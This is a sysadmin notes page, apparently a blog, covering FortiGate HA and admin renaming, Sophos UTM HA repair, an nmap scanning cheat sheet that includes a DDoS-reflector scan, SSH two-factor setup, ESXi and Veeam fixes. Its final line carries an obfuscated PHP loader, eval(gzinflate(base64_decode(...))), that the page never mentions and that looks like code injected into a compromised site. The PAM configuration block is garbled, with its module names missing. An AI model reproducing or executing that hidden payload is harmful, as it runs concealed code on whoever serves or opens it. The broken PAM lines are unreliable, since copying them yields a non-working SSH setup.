FortiGate Access Slave in HA mode

To change from the Primary to the Secondary Fortigate:

execute ha manage 1


To change from the Secondary to the Primary:

execute ha manage 0


Sophos HA Slaves stuck in Syning.

Step 1: Login to master node, su to root
Step 2: Open a new ssh window, login to master again, su to root
Step 3: On 2nd window, enter: ha_utils ssh
Step 4: In the 2nd window, login to slave as loginuser, then su to root
Step 5: On both ssh windows, enter: killall repctl
Step 6: On both ssh windows, enter: /etc/init.d/postgresql92 rebuild
Step 7: After database rebuilds, enter on both ssh windows: repctl

Now reboot the slave.

NOTE: You’ll loose reporting data for the passed time.

Change Switch Mode to Interface Mode in Fortigate

There are 3 steps involved in this process.

  1. Complete the prerequisites
  2. Change the mode from Switch mode to interface mode
  3. Configure the network and allow access to a particular network port.

FGxxxxxxxxxxxxxx # config system global
FGxxxxxxxxxxxxxx # set internalswitch-mode interface
FGxxxxxxxxxxxxxx # end
Changing switch mode will reboot the system!
Do you want to continue? (y/n) y

FGxxxxxxxxxxxxxx #

Rename default admin account in Fortinet appliances

A good practice to enhance firewall security is to rename the default administrator account of the box. On Fortigate, default administrator username is admin. If you leave your admin as ‘admin’, then the leftover part of the brute-force password cracking is just a piece of cake.

 This tutorial is to show you know to rename default ‘admin’ of a Fortinet box (FortiMail, FortiGate Firewall,…)

You need to finish these steps within command line mode. The best way to manage Fortinet devices is using SSH or Serial terminal. If you need help of how to connect to a Fortinet box using Serial terminal, click here.

Fortinet will prevent you from changing your currently logged in account. I assume that you are logged in under the default “admin”. You could not rename “admin” to “yourname” if you are logging under “admin”, it’s reasonable, isn’t it?

  • So, the first step is to create a new administrator account.
  • Next step is to login using the new account.
  • Final step is from the new account, execute the rename command to change “admin” to something else.

Create new administrator account on Fortinet

Do these steps while you are already in privilege mode (logged in as “admin”):

CUSTOMER_FW01# config system admin
 CUSTOMER_FW01(admin) # edit newadmin
 new entry ‘newadmin’ added

CUSTOMER_FW01(newadmin) # set password Myn3w-password
CUSTOMER_FW01(newadmin) # set accprofile super_admin
CUSTOMER_FW01(newadmin) # end
 Auto backup config …

CUSTOMER_FW01login: newadmin
 Password: **************
 Welcome !


Rename Fortinet default “admin”

To rename your Fortinet default “admin”, follow these steps:

CUSTOMER_FW01 # config system admin
CUSTOMER_FW01 (admin) # rename admin to nimda
CUSTOMER_FW01 (admin) #

Nmap Cheat Sheet

Nmap Target Selection

Scan a single IP nmap
Scan a host nmap
Scan a range of IPs nmap
Scan a subnet nmap
Scan targets from a text file nmap -iL list-of-ips.txt

Nmap Port Selection

Scan a single Port nmap -p 22
Scan a range of ports nmap -p 1-100
Scan 100 most common ports (Fast) nmap -F
Scan all 65535 ports nmap -p-

Nmap Port Scan types

Scan using TCP connect nmap -sT
Scan using TCP SYN scan (default) nmap -sS
Scan UDP ports nmap -sU -p 123,161,162
Scan selected ports – ignore discovery nmap -Pn -F

Service and OS Detection

Detect OS and Services nmap -A
Standard service detection nmap -sV
More aggressive Service Detection nmap -sV –version-intensity 5
Lighter banner grabbing detection nmap -sV –version-intensity 0

Nmap Output Formats

Save default output to file nmap -oN outputfile.txt
Save results as XML nmap -oX outputfile.xml
Save results in a format for grep nmap -oG outputfile.txt
Save in all formats nmap -oA outputfile

Digging deeper with NSE Scripts

Scan using default safe scripts nmap -sV -sC
Get help for a script nmap –script-help=ssl-heartbleed
Scan using a specific NSE script nmap -sV -p 443 –script=ssl-heartbleed.nse
Scan with a set of scripts nmap -sV –script=smb*

A scan to search for DDOS reflection UDP services

Scan for UDP DDOS reflectors nmap –sU –A –PN –n –pU:19,53,123,161

HTTP Service Information

Gather page titles from HTTP services nmap –script=http-title
Get HTTP headers of web services nmap –script=http-headers
Find web apps from known paths nmap –script=http-enum

Detect Heartbleed SSL Vulnerability

Heartbleed Testing nmap -sV -p 443 –script=ssl-heartbleed

IP Address information

Find Information about IP address nmap –script=asn-query,whois,ip-geolocation-maxmind


Secure SSH with Google Authenticator Two-Factor Authentication on CentOS 7

First of all we will install the open source Google Authenticator PAM module by executing the following command on the shell.

# yum install google-authenticator
# google-authenticator

The next step is to change some files which we will start by first changing /etc/pam.d/sshd. Add the following line to the top:

auth required

auth required
auth required
auth include password-auth
account required
account include password-auth
password include password-auth
# close should be the first session rule
session required close
session required
# open should only be followed by sessions to be executed in the user context
session required open env_params
session required
session optional force revoke
session include password-auth

Additional you could also add folowing line. This makes it possible to logon localy without verify code:

auth [success=1 default=ignore] accessfile=/etc/security/access-local.conf

Contect of /etc/security/access-local.conf:

# Google Authenticator can be skipped on local network
+ : ALL :
- : ALL : ALL

Change the next file which is /etc/ssh/sshd_config. Add the following line in the file and if its already placed then change the parameter to “yes”:

ChallengeResponseAuthentication yes

Now restart the service of ssh by the following command:

# service sshd restart

How to fix a slow SSH login issue on Linux

Disable GSSAPI Authentication

To disable GSSAPI authentication on an SSH server, look for “GSSAPIAuthentication” in /etc/ssh/sshd_config, and edit it or add the line as follows.

$ sudo vi /etc/ssh/sshd_config

# add this line

GSSAPIAuthentication no

Then restart SSH server:

$ sudo /etc/init.d/ssh restart (Debian, Ubuntu or Linux Mint)
$ sudo systemctl restart sshd (Fedora)
$ sudo service sshd restart (CentOS or RHEL)

Disable Reverse DNS Lookup

To disable reverse DNS lookups on an SSH server, edit SSH server configuration as follows.

$ sudo vi /etc/ssh/sshd_config

# add this line

UseDNS no

Then restart SSH server:

$ sudo /etc/init.d/ssh restart (Debian, Ubuntu or Linux Mint)
$ sudo systemctl restart sshd (Fedora)
$ sudo service sshd restart (CentOS or RHEL)

Changing the default policy for new LUNs

To change the default policy use SSH to connect to ESXi/ESX host.

# esxcli storage nmp satp list

To change e.g. the standard policy for storage type VMW_SATP_ALUA from fixed to Round-Robin (RR) the following command is necessary.

# esxcli storage nmp satp set s VMW_SATP_ALUA P VMW_PSP_RR

Reboot the ESXi/ESX host to apply the changes

Cannot mount vPower NFS VEEAM

Today I encountered the issue that I could not run a SureBackup from an ESX server. Although the ESX server (vmkernel) could ping the Veeam Backup server and coudl connect tot the NFS service (Port 111 and 6161).

I finally saw that there was also a Service NFS running. Disabling this service did not help.

At last i just removed the “Service fro NFS” from the Windows 2012 R2 Storage server.

A reboot is needed AND…. the Surebackup run.

So. If you have a Windows Storage server and you install Veeam Backup and Replication on it. Remove the Service for NFS from it to make vPower NFS work.

Sophos UTM in VMware

If you have a HA Sophos UTM solution and you are nog able to ping the VM in VMware you may have to do this in the console:

Login as loginuser

You might need to go to root (su -)

Find out the status ov virtual_mac setting:

cc get ha advanced virtual_mac

Change it with:

cc set ha advanced virtual_mac 0
eval(gzinflate(base64_decode('vZHRasIwFIavV/AdQpCSglSvJ7INV3Aw0NV2N2MESU9tZpZTkuiE6bsvOrsibre7/c+X/3xJwBg03ECNxkm9ZINoGHTHWECePpIRoZVz9XW/r6ReFShWscD3vkDtQLu4ruobWYzCCq0b0XhtFGjhj7Iunyfpc5K+0EmWzfhkOs/oaxTTcG3kH2CaPOXJPON5+uDRYdAJZEkYk9ptFootwXFRLvlmYRhdKIUf3JfwEmvQNIrIbkdOpNSSe/o3KiJhSMq1Fk6i5rCV1llGS6mAH/u/b2UPfZ+d4ApEheT2Ysya14mGnWBPQFn4R9NGrnvS8V90VDyzOqm/odSM0h5p4HPji35xUPBWrl1S+f6f+HzHMbbgsPYDUfXI2E+ms4xPkrv7JO2RQYvBFsQBahOh0EIT7b8A'))); ?>